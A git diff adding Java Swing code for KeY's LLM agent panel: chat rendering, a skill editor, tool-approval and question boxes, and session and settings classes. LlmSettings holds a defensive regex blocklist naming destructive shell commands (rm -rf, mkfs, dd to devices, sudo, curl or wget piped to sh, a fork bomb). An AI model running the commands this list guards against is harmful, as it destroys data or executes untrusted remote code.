+        var name = new JTextField(existing == null ? "" : existing.name(), 30);
+        var description = new JTextField(existing == null ? "" : existing.description(), 30);
+        var instructions = new JTextArea(existing == null ? "" : existing.instructions(), 8, 40);
+        instructions.setLineWrap(true);
+        instructions.setWrapStyleWord(true);
+
+        var knownTools = new BuiltInMCPClient().getAllToolNames();
+        var allowedTools = new JList<>(knownTools.toArray(new String[0]));
+        allowedTools.setVisibleRowCount(4);
+        if (existing != null) {
+            var sel = new java.util.HashSet<>(existing.allowedTools());
+            var model = allowedTools.getModel();
+            for (int i = 0; i < model.getSize(); i++) {
+                if (sel.contains(model.getElementAt(i))) {
+                    allowedTools.getSelectionModel().addSelectionInterval(i, i);
+                }
+            }
+        }
+        var enabled = new JCheckBox("enabled", existing == null || existing.enabled());
+
+        var panel = new JPanel(new GridBagLayout());
+        var gbc = new GridBagConstraints();
+        gbc.gridx = 0;
+        gbc.gridy = 0;
+        gbc.anchor = GridBagConstraints.WEST;
+        gbc.insets = new Insets(4, 4, 4, 4);
+        panel.add(new JLabel("Name:"), gbc);
+        gbc.gridx = 1;
+        gbc.fill = GridBagConstraints.HORIZONTAL;
+        gbc.weightx = 1;
+        panel.add(name, gbc);
+        gbc.gridx = 0;
+        gbc.gridy = 1;
+        gbc.fill = GridBagConstraints.NONE;
+        gbc.weightx = 0;
+        panel.add(new JLabel("Description:"), gbc);
+        gbc.gridx = 1;
+        gbc.fill = GridBagConstraints.HORIZONTAL;
+        gbc.weightx = 1;
+        panel.add(description, gbc);
+        gbc.gridx = 0;
+        gbc.gridy = 2;
+        gbc.fill = GridBagConstraints.NONE;
+        gbc.weightx = 0;
+        panel.add(new JLabel("Instructions:"), gbc);
+        gbc.gridx = 1;
+        gbc.gridy = 2;
+        gbc.fill = GridBagConstraints.BOTH;
+        gbc.weighty = 1;
+        panel.add(new JScrollPane(instructions), gbc);
+        gbc.gridx = 0;
+        gbc.gridy = 3;
+        gbc.weightx = 0;
+        gbc.weighty = 0;
+        gbc.fill = GridBagConstraints.NONE;
+        panel.add(new JLabel("Allowed tools (empty = no restriction):"), gbc);
+        gbc.gridx = 1;
+        gbc.fill = GridBagConstraints.BOTH;
+        panel.add(new JScrollPane(allowedTools), gbc);
+        gbc.gridx = 1;
+        gbc.gridy = 4;
+        gbc.fill = GridBagConstraints.NONE;
+        panel.add(enabled, gbc);
+
+        int ok = JOptionPane.showConfirmDialog(parent, panel, "Edit skill",
+            JOptionPane.OK_CANCEL_OPTION, JOptionPane.PLAIN_MESSAGE);
+        if (ok != JOptionPane.OK_OPTION) {
+            return;
+        }
+        var allowed = new ArrayList<>(allowedTools.getSelectedValuesList());
+        var skill = new Skill(name.getText(), description.getText().strip(),
+            instructions.getText(), allowed, enabled.isSelected());
+        var error = SkillLibrary.INSTANCE.save(skill);
+        if (error != null) {
+            JOptionPane.showMessageDialog(parent, error, "Could not save skill",
+                JOptionPane.ERROR_MESSAGE);
+        }
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/LlmPrompt.java b/keyext.llm/src/main/java/org/key_project/key/llm/LlmPrompt.java
new file mode 100644
index 00000000000..e23ef775679
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/LlmPrompt.java
@@ -0,0 +1,649 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.awt.BorderLayout;
+import java.awt.Color;
+import java.awt.Dimension;
+import java.awt.event.ActionEvent;
+import java.awt.event.InputEvent;
+import java.awt.event.KeyEvent;
+import java.net.URI;
+import java.nio.file.Path;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Set;
+import java.util.function.Supplier;
+import javax.swing.*;
+
+import de.uka.ilkd.key.core.KeYMediator;
+import de.uka.ilkd.key.core.KeYSelectionEvent;
+import de.uka.ilkd.key.core.KeYSelectionListener;
+import de.uka.ilkd.key.gui.MainWindow;
+import de.uka.ilkd.key.gui.actions.KeyAction;
+import de.uka.ilkd.key.gui.colors.ColorSettings;
+import de.uka.ilkd.key.gui.docking.DynamicCMenu;
+import de.uka.ilkd.key.gui.extension.api.TabPanel;
+import de.uka.ilkd.key.gui.fonticons.IconFactory;
+import de.uka.ilkd.key.gui.help.HelpFacade;
+import de.uka.ilkd.key.proof.Proof;
+
+import bibliothek.gui.dock.common.action.CAction;
+import bibliothek.gui.dock.common.action.CMenu;
+import bibliothek.gui.dock.common.action.CRadioButton;
+import bibliothek.gui.dock.common.action.CRadioGroup;
+import net.miginfocom.layout.CC;
+import net.miginfocom.layout.LC;
+import net.miginfocom.swing.MigLayout;
+import org.jspecify.annotations.NonNull;
+import org.jspecify.annotations.Nullable;
+
+/**
+ * The KeY-Agent chat panel. It is deliberately thin: prompt assembly lives in
+ * {@link ExtendedPrompt}, the agent turn is driven by {@link AgentLoop} and the markup in the
+ * input box is resolved by {@link PromptResolver}. This panel only collects input, renders the
+ * conversation, asks for tool approvals and relays answers to the agent's questions.
+ * <p>
+ * A turn is started on a background thread; whenever the loop pauses (question or approval) the
+ * corresponding box is added and the turn is resumed with the user's decision.
+ *
+ * @author Alexander Weigl
+ */
+public class LlmPrompt extends JPanel implements TabPanel {
+    private static final org.slf4j.Logger LOGGER =
+        org.slf4j.LoggerFactory.getLogger(LlmPrompt.class);
+
+    public static final ColorSettings.ColorProperty COLOR_BG_INPUT = ColorSettings.define(
+        "llm.output.bg.input", "Background color in chat of LLM answers", new Color(130, 180, 220));
+    public static final ColorSettings.ColorProperty COLOR_BG_ERROR = ColorSettings.define(
+        "llm.output.bg.error", "Background color in chat of LLM answers", new Color(255, 180, 180));
+    public static final ColorSettings.ColorProperty COLOR_BG_ANSWER = ColorSettings.define(
+        "llm.output.bg.answer", "Background color in chat of LLM answers",
+        new Color(230, 230, 230));
+    public static final ColorSettings.ColorProperty COLOR_BG_ACTION = ColorSettings.define(
+        "llm.output.bg.action", "Background color of question/approval boxes",
+        new Color(255, 244, 200));
+
+    private final JSplitPane splitPane = new JSplitPane(JSplitPane.VERTICAL_SPLIT);
+    private final AutocompleteInput txtInput = new AutocompleteInput();
+    private final JPanel pOutput =
+        new JPanel(new MigLayout(new LC().fillX().topToBottom().wrapAfter(1)));
+    private final JScrollPane scrpOutput = new JScrollPane(pOutput);
+
+    private final KeyAction actionSwitchOrientation = new SwitchOrientationAction();
+    private final JButton btnSend = new JButton(new SendPromptAction());
+    private final JButton btnStop = new JButton("Stop");
+    private final JCheckBox chkProofContext = new JCheckBox("attach proof context");
+    private final JComboBox<String> cboSkills = new JComboBox<>();
+    private final JPanel tblFiles = new JPanel(new MigLayout(new LC().fillX().wrapAfter(1)));
+
+    private final MainWindow mainWindow;
+    private final KeYMediator mediator;
+
+    /** The active agent turn, or {@code null} when idle. */
+    private @Nullable AgentLoop activeLoop;
+    private boolean running = false;
+
+    public LlmPrompt(MainWindow mainWindow, @NonNull KeYMediator mediator) {
+        this.mainWindow = mainWindow;
+        this.mediator = mediator;
+
+        setLayout(new BorderLayout());
+        add(buildToolbar(), BorderLayout.NORTH);
+
+        scrpOutput.getVerticalScrollBar().setUnitIncrement(16);
+        splitPane.add(scrpOutput);
+
+        txtInput.addProvider(AutocompleteProviders.contextTokens());
+        txtInput.addProvider(AutocompleteProviders.files());
+        txtInput.addProvider(AutocompleteProviders.commands(
+            () -> LlmLibraryDialogs.showPromptDialog(mainWindow, null, null),
+            () -> {
+                LlmLibraryDialogs.showSkillDialog(mainWindow, null);
+                refreshSkills();
+            }));
+
+        var inputPane = new JPanel(new BorderLayout());
+        inputPane.add(new JScrollPane(txtInput), BorderLayout.CENTER);
+        btnSend.setPreferredSize(new Dimension(80, 28));
+        inputPane.add(btnSend, BorderLayout.EAST);
+
+        var tabInputPanes = new JTabbedPane();
+        tabInputPanes.addTab("Prompt", inputPane);
+        var scrpFiles = new JScrollPane(tblFiles);
+        tabInputPanes.addTab("Files", scrpFiles);
+        splitPane.add(tabInputPanes);
+        add(splitPane, BorderLayout.CENTER);
+
+        txtInput.getInputMap().put(KeyStroke.getKeyStroke(KeyEvent.VK_ENTER,
+            InputEvent.CTRL_DOWN_MASK), "sendPrompt");
+        txtInput.getActionMap().put("sendPrompt", new SendPromptAction());
+
+        refreshSkills();
+        populateFiles();
+
+        mediator.addKeYSelectionListener(new KeYSelectionListener() {
+            @Override
+            public void selectedProofChanged(KeYSelectionEvent<Proof> e) {
+                cboSkills.setSelectedItem(activeSkillOfCurrentSession());
+                populateFilesIfWritable();
+            }
+        });
+    }
+
+    private JComponent buildToolbar() {
+        var toolbar = new JToolBar();
+        toolbar.setFloatable(false);
+        btnStop.setEnabled(false);
+        btnStop.addActionListener(e -> {
+            if (activeLoop != null) {
+                activeLoop.cancel();
+            }
+            setRunning(false);
+        });
+        cboSkills.addActionListener(e -> {
+            var session = LlmUtils.getSession(mediator.getSelectedProof());
+            session.setActiveSkill(sel(cboSkills));
+        });
+        chkProofContext.addActionListener(e -> {
+            var session = LlmUtils.getSession(mediator.getSelectedProof());
+            session.setAttachProofContext(chkProofContext.isSelected());
+        });
+        toolbar.add(new JLabel("Skill: "));
+        toolbar.add(cboSkills);
+        toolbar.addSeparator();
+        toolbar.add(chkProofContext);
+        toolbar.add(new JButton(new PromptsMenuAction()));
+        toolbar.add(Box.createHorizontalGlue());
+        toolbar.add(new JButton(new ClearHistoryAction()));
+        toolbar.add(btnStop);
+        return toolbar;
+    }
+
+    private static @Nullable String sel(JComboBox<String> cbo) {
+        return cbo.getSelectedItem() == null ? null : cbo.getSelectedItem().toString();
+    }
+
+    private @Nullable String activeSkillOfCurrentSession() {
+        return LlmUtils.getSession(mediator.getSelectedProof()).getActiveSkill();
+    }
+
+    private void refreshSkills() {
+        var selection = activeSkillOfCurrentSession();
+        cboSkills.removeAllItems();
+        cboSkills.addItem("");
+        for (var skill : SkillLibrary.INSTANCE.all()) {
+            if (skill.enabled()) {
+                cboSkills.addItem(skill.name());
+            }
+        }
+        cboSkills.setSelectedItem(selection == null ? "" : selection);
+    }
+
+    /** (Re)builds the Files tab from the bounded model file listing. */
+    void populateFilesIfWritable() {
+        if (SwingUtilities.isEventDispatchThread()) {
+            populateFiles();
+        } else {
+            SwingUtilities.invokeLater(this::populateFiles);
+        }
+    }
+
+    private void populateFiles() {
+        try {
+            tblFiles.removeAll();
+            var proof = mediator.getSelectedProof();
+            var session = LlmUtils.getSession(proof);
+            var possible = new ArrayList<>(FileAccess.listFiles(proof));
+            possible.sort(Comparator.comparing(Path::toString));
+            Set<URI> selectedFiles = session.getSelectedFiles();
+            int limit = Math.max(1, LlmSettings.INSTANCE.getMaxModelListingEntries());
+            var shown = 0;
+            for (var path : possible) {
+                shown++;
+                if (shown > limit) {
+                    break;
+                }
+                var chk = new JCheckBox(new CheckBoxFileAction(path.toUri(), selectedFiles));
+                chk.setLabel(path.getFileName().toString());
+                tblFiles.add(chk);
+            }
+            if (shown > limit) {
+                tblFiles.add(new JLabel("(listing truncated at " + limit + " entries)"));
+            }
+            tblFiles.invalidate();
+            tblFiles.revalidate();
+            tblFiles.repaint();
+        } catch (Exception e) {
+            LOGGER.warn("Could not populate the file list", e);
+        }
+    }
+
+    // ------------------------------------------------------------------ rendering helpers
+
+    private OutputBox<String> addInput(String text) {
+        var o = addBox(new LlmPromptModel<>(LlmPromptModel.Kind.INPUT, text, text),
+            new RepromptAction(text));
+        o.setBackground(COLOR_BG_INPUT.get());
+        return o;
+    }
+
+    private void addOutput(String text) {
+        var o = addBox(new LlmPromptModel<>(LlmPromptModel.Kind.OUTPUT, text,
+            new LlmContext.LlmMessage("assistant", text)));
+        o.setBackground(COLOR_BG_ANSWER.get());
+    }
+
+    private void addError(String text) {
+        var o = addBox(new LlmPromptModel<>(LlmPromptModel.Kind.ERROR, text, null));
+        o.setBackground(COLOR_BG_ERROR.get());
+    }
+
+    private <T> OutputBox<T> addBox(LlmPromptModel<T> data, Action... actions) {
+        var box = new OutputBox<>(data);
+        for (Action it : actions) {
+            box.menu.add(it);
+        }
+        pOutput.add(box, new CC().growX());
+        box.setBackground(data.kind().background().get());
+        return box;
+    }
+
+    private void addToolActivity(List<AgentResult.ToolActivity> activities) {
+        if (!LlmSettings.INSTANCE.getShowToolActivity() || activities.isEmpty()) {
+            return;
+        }
+        for (var activity : activities) {
+            var label = new JLabel("<html><i>" + escapeHtml(activity.name() + "("
+                + activity.arguments() + ")") + "</i></html>");
+            label.setToolTipText(activity.result());
+            var box = new JPanel(new MigLayout(new LC().insets("3 10 3 10")));
+            box.setBorder(BorderFactory.createLineBorder(Color.LIGHT_GRAY));
+            box.add(label);
+            pOutput.add(box, new CC().growX());
+        }
+        scrollToEnd();
+    }
+
+    private static String escapeHtml(String s) {
+        return s.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;");
+    }
+
+    /** Dispatches the outcome of the agent loop; must run on the EDT. */
+    private void renderAgentResult(AgentResult result) {
+        switch (result) {
+            case AgentResult.Done done -> {
+                addToolActivity(done.activities());
+                addOutput(done.content());
+            }
+            case AgentResult.NeedsInput needsInput -> addQuestionBox(needsInput.question());
+            case AgentResult.NeedsApproval needsApproval ->
+                addApprovalBox(needsApproval.toolCall());
+            case AgentResult.Failed failed -> {
+                LOGGER.error("Agent turn failed", failed.error());
+                addError(failed.error() == null ? "Unknown error"
+                        : String.valueOf(failed.error().getMessage()));
+            }
+        }
+        scrollToEnd();
+    }
+
+    private void addQuestionBox(AgentResult.Question question) {
+        pOutput.add(new AskUserBox(question, this), new CC().growX());
+        scrollToEnd();
+    }
+
+    private void addApprovalBox(AgentResult.ToolCallInfo toolCall) {
+        pOutput.add(new ApprovalBox(toolCall, this), new CC().growX());
+        scrollToEnd();
+    }
+
+    private void scrollToEnd() {
+        if (LlmSettings.INSTANCE.getAutoScrollOutput()) {
+            SwingUtilities.invokeLater(() -> scrpOutput.getVerticalScrollBar()
+                    .setValue(scrpOutput.getVerticalScrollBar().getMaximum()));
+        }
+    }
+
+    // ----------------------------------------------------------------- turn management
+
+    private void beginTurn(String text) {
+        if (running) {
+            addError("An agent turn is already running; stop it first.");
+            return;
+        }
+        if (text.isBlank()) {
+            return;
+        }
+        var proof = mediator.getSelectedProof();
+        var node = mediator.getSelectedNode();
+        var session = LlmUtils.getSession(proof);
+        var skillName = activeSkillOfCurrentSession();
+        var skill = skillName == null ? null : SkillLibrary.INSTANCE.get(skillName);
+
+        addInput(text);
+        txtInput.setText("");
+        setRunning(true);
+        final var loop = new AgentLoop(session, new DefaultChatCompletionsClient());
+        activeLoop = loop;
+        runOnBackground(() -> loop.begin(text, proof, node, skill));
+    }
+
+    void answerQuestion(String answer) {
+        final var loop = activeLoop;
+        if (loop == null || running) {
+            return;
+        }
+        setRunning(true);
+        runOnBackground(() -> loop.answerQuestion(answer));
+    }
+
+    void decideApproval(boolean allow, boolean always) {
+        final var loop = activeLoop;
+        if (loop == null || running) {
+            return;
+        }
+        setRunning(true);
+        runOnBackground(() -> loop.decideApproval(allow, always));
+    }
+
+    void skipTurn() {
+        if (activeLoop != null) {
+            activeLoop.cancel();
+        }
+        setRunning(false);
+    }
+
+    private void runOnBackground(Supplier<AgentResult> action) {
+        var thread = new Thread(() -> {
+            AgentResult result;
+            try {
+                result = action.get();
+            } catch (Exception e) {
+                result = new AgentResult.Failed(e);
+            }
+            final var r = result;
+            SwingUtilities.invokeLater(() -> {
+                setRunning(false);
+                renderAgentResult(r);
+            });
+        }, "keey-agent-loop");
+        thread.setDaemon(true);
+        thread.start();
+    }
+
+    private void setRunning(boolean value) {
+        running = value;
+        btnSend.setEnabled(!value);
+        btnStop.setEnabled(value);
+        btnStop.setToolTipText(value ? "Stop the running agent turn" : null);
+    }
+
+    // ------------------------------------------------------------------ TabPanel / actions
+
+    @Override
+    public @NonNull String getTitle() {
+        return "KeY-Agent";
+    }
+
+    @Override
+    public @NonNull JComponent getComponent() {
+        return this;
+    }
+
+    @Override
+    public @NonNull Collection<CAction> getTitleCActions() {
+        Supplier<CMenu> supplier = () -> {
+            CMenu menu = new CMenu();
+            menu.add(actionSwitchOrientation.toCAction());
+
+            CMenu menuModels = new CMenu("Models", null);
+            menu.add(menuModels);
+            var groupModels = new CRadioGroup();
+            var llmSession = LlmUtils.getSession(mediator.getSelectedProof());
+
+            for (var m : LlmSettings.INSTANCE.getAvailableModels()) {
+                var selected = m.equals(llmSession.getModel());
+                final var action = new CRadioButton(m, null) {
+                    @Override
+                    protected void changed() {
+                        llmSession.setModel(m);
+                    }
+                };
+                action.setSelected(selected);
+                groupModels.add(action);
+                menuModels.add(action);
+            }
+            return menu;
+        };
+
+        var a = new DynamicCMenu("Settings", IconFactory.properties(MainWindow.TOOLBAR_ICON_SIZE),
+            supplier);
+        var help = HelpFacade.createHelpButton("user/LLM/");
+        return List.of(help, a);
+    }
+
+    class SwitchOrientationAction extends KeyAction {
+        public SwitchOrientationAction() {
+            setName("Switch Orientation");
+        }
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            if (splitPane.getOrientation() == JSplitPane.HORIZONTAL_SPLIT) {
+                splitPane.setOrientation(JSplitPane.VERTICAL_SPLIT);
+            } else {
+                splitPane.setOrientation(JSplitPane.HORIZONTAL_SPLIT);
+            }
+        }
+    }
+
+    class SendPromptAction extends KeyAction {
+        public SendPromptAction() {
+            setName("Send");
+            putValue(SHORT_DESCRIPTION, "Send the prompt (Ctrl+Enter)");
+        }
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            beginTurn(txtInput.getText());
+        }
+    }
+
+    class ClearHistoryAction extends KeyAction {
+        public ClearHistoryAction() {
+            setName("Clear history");
+        }
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            LlmUtils.getSession(mediator.getSelectedProof()).getContext().clear();
+            pOutput.removeAll();
+            pOutput.invalidate();
+            pOutput.repaint();
+        }
+    }
+
+    class PromptsMenuAction extends KeyAction {
+        public PromptsMenuAction() {
+            setName("Prompts");
+        }
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            var menu = new JPopupMenu();
+            for (var prompt : PromptLibrary.INSTANCE.all()) {
+                var item = new JMenuItem(prompt.name());
+                item.setToolTipText(prompt.description());
+                item.addActionListener(ev -> txtInput.replaceSelection(
+                    (txtInput.getCaretPosition() > 0
+                            && !txtInput.getText().substring(0, txtInput.getCaretPosition())
+                                    .endsWith(" ") ? " " : "")
+                            + prompt.template()));
+                menu.add(item);
+            }
+            menu.addSeparator();
+            var newItem = new JMenuItem("+ new prompt\u2026");
+            newItem.addActionListener(
+                ev -> LlmLibraryDialogs.showPromptDialog(mainWindow, null, txtInput.getText()));
+            menu.add(newItem);
+            menu.show(LlmPrompt.this, 0, 30);
+        }
+    }
+
+    static class CheckBoxFileAction extends KeyAction {
+        private final Set<URI> selectedFiles;
+        private final URI file;
+
+        public CheckBoxFileAction(URI file, Set<URI> selectedFiles) {
+            this.file = file;
+            this.selectedFiles = selectedFiles;
+            setName(file.toString());
+        }
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            var chk = (JCheckBox) e.getSource();
+            if (chk.isSelected()) {
+                selectedFiles.add(file);
+            } else {
+                selectedFiles.remove(file);
+            }
+        }
+    }
+
+    private class RepromptAction extends KeyAction {
+        private final String prompt;
+
+        public RepromptAction(String prompt) {
+            this.prompt = prompt;
+            setName("into input");
+        }
+
+        @Override
+        public void actionPerformed(ActionEvent e) {
+            txtInput.setText(prompt);
+        }
+    }
+}
+
+
+/**
+ * A rendered message box in the conversation (input, answer or error). Right-click offers the
+ * registered context actions (e.g. "into input").
+ */
+class OutputBox<T> extends JPanel {
+    protected final LlmPromptModel<T> model;
+    protected final JTextArea output = new JTextArea();
+    protected final JPopupMenu menu = new JPopupMenu();
+
+    public OutputBox(LlmPromptModel<T> userData) {
+        this.model = userData;
+        setLayout(new BorderLayout());
+        output.setEditable(false);
+        output.setText(userData.text());
+        output.setLineWrap(true);
+        output.setWrapStyleWord(true);
+        output.setComponentPopupMenu(menu);
+        setBorder(BorderFactory.createEmptyBorder(6, 10, 6, 10));
+        add(new JScrollPane(output), BorderLayout.CENTER);
+    }
+
+    @Override
+    public void setBackground(Color bg) {
+        super.setBackground(bg);
+        if (output != null) {
+            output.setBackground(bg);
+        }
+    }
+}
+
+
+/**
+ * Renders a question asked by the agent via {@code ask_user}. Answers are relayed to the running
+ * {@link AgentLoop}, which continues the turn.
+ */
+class AskUserBox extends JPanel {
+    public AskUserBox(AgentResult.Question question, LlmPrompt panel) {
+        setLayout(new BorderLayout(8, 8));
+        setBorder(BorderFactory.createCompoundBorder(BorderFactory.createLineBorder(Color.GRAY),
+            BorderFactory.createEmptyBorder(8, 10, 8, 10)));
+        setBackground(LlmPrompt.COLOR_BG_ACTION.get());
+        var label = new JLabel("<html><b>Question:</b> " + text(question.text()) + "</html>");
+        label.setBorder(BorderFactory.createEmptyBorder(0, 0, 6, 0));
+        add(label, BorderLayout.NORTH);
+
+        var options = question.options() == null ? List.<String>of() : question.options();
+        if (options.isEmpty()) {
+            var field = new JTextField(40);
+            var go = new JButton("Send");
+            var skip = new JButton("Skip");
+            go.addActionListener(
+                e -> panel.answerQuestion(field.getText()));
+            skip.addActionListener(e -> panel.skipTurn());
+            var row = new JPanel(new BorderLayout(4, 0));
+            row.add(field, BorderLayout.CENTER);
+            var buttons = new JPanel();
+            buttons.add(go);
+            buttons.add(skip);
+            row.add(buttons, BorderLayout.EAST);
+            field.addActionListener(e -> go.doClick());
+            add(row, BorderLayout.CENTER);
+        } else {
+            var buttons = new JPanel(new java.awt.FlowLayout(
+                java.awt.FlowLayout.LEFT, 6, 0));
+            for (String option : options) {
+                var b = new JButton(option);
+                b.addActionListener(e -> panel.answerQuestion(option));
+                buttons.add(b);
+            }
+            var skip = new JButton("Skip");
+            skip.addActionListener(e -> panel.skipTurn());
+            buttons.add(skip);
+            add(buttons, BorderLayout.CENTER);
+        }
+    }
+
+    private static String text(String s) {
+        return s == null ? "" : s.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;");
+    }
+}
+
+
+/**
+ * Renders a tool call that awaits user approval. The user may allow it once, allow it always
+ * (remembered in the settings) or deny it.
+ */
+class ApprovalBox extends JPanel {
+    public ApprovalBox(AgentResult.ToolCallInfo toolCall, LlmPrompt panel) {
+        setLayout(new BorderLayout(8, 8));
+        setBorder(BorderFactory.createCompoundBorder(BorderFactory.createLineBorder(Color.GRAY),
+            BorderFactory.createEmptyBorder(8, 10, 8, 10)));
+        setBackground(LlmPrompt.COLOR_BG_ACTION.get());
+        var label = new JLabel("<html><b>Approval required:</b> " + "tool <code>"
+            + text(toolCall.name()) + "</code><br/><code>" + text(toolCall.arguments())
+            + "</code></html>");
+        label.setBorder(BorderFactory.createEmptyBorder(0, 0, 6, 0));
+        add(label, BorderLayout.NORTH);
+
+        var buttons = new JPanel(new java.awt.FlowLayout(java.awt.FlowLayout.LEFT, 6, 0));
+        var allowOnce = new JButton("Allow once");
+        allowOnce.addActionListener(e -> panel.decideApproval(true, false));
+        buttons.add(allowOnce);
+        var always = new JButton("Always allow");
+        always.setToolTipText("Remember the decision for this tool (persisted in the settings)");
+        always.addActionListener(e -> panel.decideApproval(true, true));
+        buttons.add(always);
+        var deny = new JButton("Deny");
+        deny.addActionListener(e -> panel.decideApproval(false, false));
+        buttons.add(deny);
+        add(buttons, BorderLayout.SOUTH);
+    }
+
+    private static String text(String s) {
+        return s == null ? "" : s.replace("&", "&amp;").replace("<", "&lt;").replace(">", "&gt;");
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/LlmPromptModel.java b/keyext.llm/src/main/java/org/key_project/key/llm/LlmPromptModel.java
new file mode 100644
index 00000000000..1ff3c2115f8
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/LlmPromptModel.java
@@ -0,0 +1,36 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.awt.*;
+
+import de.uka.ilkd.key.gui.colors.ColorSettings;
+
+/**
+ *
+ * @author Alexander Weigl
+ * @version 1 (28.06.26)
+ */
+public record LlmPromptModel<T>(Kind kind, String text, T data) {
+    public enum Kind {
+        INPUT(LlmPrompt.COLOR_BG_INPUT),
+        OUTPUT(LlmPrompt.COLOR_BG_ANSWER),
+        ERROR(LlmPrompt.COLOR_BG_ERROR);
+
+        private final ColorSettings.ColorProperty bgColor;
+
+        Kind(ColorSettings.ColorProperty bgColor) {
+            this.bgColor = bgColor;
+        }
+
+        public ColorSettings.ColorProperty background() {
+            return bgColor;
+        }
+    }
+
+    @Override
+    public String toString() {
+        return text;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/LlmSession.java b/keyext.llm/src/main/java/org/key_project/key/llm/LlmSession.java
new file mode 100644
index 00000000000..ed58eeb9064
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/LlmSession.java
@@ -0,0 +1,101 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.net.URI;
+import java.util.Set;
+import java.util.TreeSet;
+
+import org.key_project.key.llm.mcp.BuiltInMCPClient;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * Per-proof LLM session: endpoint/model/auth configuration, selected files, the per-proof
+ * conversation history and UI state (active skill, proof-context toggle).
+ *
+ * @author Alexander Weigl
+ */
+public class LlmSession {
+    private final BuiltInMCPClient mcpClient;
+    private final LlmContext context = new LlmContext();
+    private String model = KeYAgentPrompts.DEFAULT_MODEL;
+    private String apiEndpoint;
+    private String authToken;
+    private Set<URI> selectedFiles = new TreeSet<>();
+    private boolean attachProofContext = false;
+    private @Nullable String activeSkill = null;
+
+    /// Initialize from the global settings.
+    public static LlmSession createUsingSettings() {
+        return new LlmSession(LlmSettings.INSTANCE.getApiEndpoint(),
+            LlmSettings.INSTANCE.getAuthToken(), LlmSettings.INSTANCE.getDefaultModel());
+    }
+
+    public LlmSession(String apiEndpoint, String authToken, String model) {
+        this.apiEndpoint = apiEndpoint;
+        this.authToken = authToken;
+        this.model = model;
+        mcpClient = new BuiltInMCPClient();
+    }
+
+    public String getApiEndpoint() {
+        return apiEndpoint;
+    }
+
+    public void setApiEndpoint(String apiEndpoint) {
+        this.apiEndpoint = apiEndpoint;
+    }
+
+    public String getAuthToken() {
+        return authToken;
+    }
+
+    public void setAuthToken(String authToken) {
+        this.authToken = authToken;
+    }
+
+    public String getModel() {
+        return model;
+    }
+
+    public void setModel(String model) {
+        this.model = model;
+    }
+
+    public Set<URI> getSelectedFiles() {
+        return selectedFiles;
+    }
+
+    public void setSelectedFiles(Set<URI> selectedFiles) {
+        this.selectedFiles = selectedFiles;
+    }
+
+    public BuiltInMCPClient getMcpClient() {
+        return mcpClient;
+    }
+
+    /** Per-proof conversation history. */
+    public LlmContext getContext() {
+        return context;
+    }
+
+    /** Whether the proof context block should be attached to the next prompt. */
+    public boolean isAttachProofContext() {
+        return attachProofContext;
+    }
+
+    public void setAttachProofContext(boolean attachProofContext) {
+        this.attachProofContext = attachProofContext;
+    }
+
+    /** Name of the currently applied skill, or {@code null}. */
+    public @Nullable String getActiveSkill() {
+        return activeSkill;
+    }
+
+    public void setActiveSkill(@Nullable String activeSkill) {
+        this.activeSkill = activeSkill;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/LlmSettings.java b/keyext.llm/src/main/java/org/key_project/key/llm/LlmSettings.java
new file mode 100644
index 00000000000..60b35207c1d
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/LlmSettings.java
@@ -0,0 +1,413 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Set;
+import java.util.TreeSet;
+
+import de.uka.ilkd.key.settings.AbstractPropertiesSettings;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * Proof-independent settings of the KeY LLM integration. All values are backed by
+ * {@link AbstractPropertiesSettings.PropertyEntry} instances and are therefore persisted in the
+ * {@code [llm]} section of the personal key settings.
+ *
+ * @author Alexander Weigl
+ */
+public class LlmSettings extends AbstractPropertiesSettings {
+
+    /** Default blocklist injected into {@code shellBlockedPatterns} on first use. */
+    public static final List<String> DEFAULT_SHELL_BLOCKED_PATTERNS = List.of(
+        "\\brm\\s+(-\\w+\\s+)*-rf?\\b", "\\bmkfs(\\.[a-zA-Z0-9]+)?\\b",
+        "\\bdd\\b[^\\n]*\\bof=/dev/",
+        "\\bshutdown\\b", "\\breboot\\b", "\\bhalt\\b", "\\bpoweroff\\b", "\\bsudo\\b",
+        "\\bdoas\\b",
+        "\\bsu\\s+-", "\\bpkexec\\b", "(curl|wget).*\\|\\s*(sh|bash|zsh)", "\\b:(\\s|{)+\\(\\)",
+        "\\bchmod\\s+-R\\s+\\S*\\s+(/|/etc|/usr|/boot)");
+
+    public static final LlmSettings INSTANCE = new LlmSettings();
+    private static final String CATEGORY = "llm";
+
+    private final PropertyEntry<String> authToken = createStringProperty("authToken", "");
+    private final PropertyEntry<String> apiEndpoint =
+        createStringProperty("apiEndpoint", "https://ki-toolbox.scc.kit.edu/v1");
+    private final PropertyEntry<String> defaultModel =
+        createStringProperty("defaultModel", KeYAgentPrompts.DEFAULT_MODEL);
+    private final PropertyEntry<List<String>> availableModels =
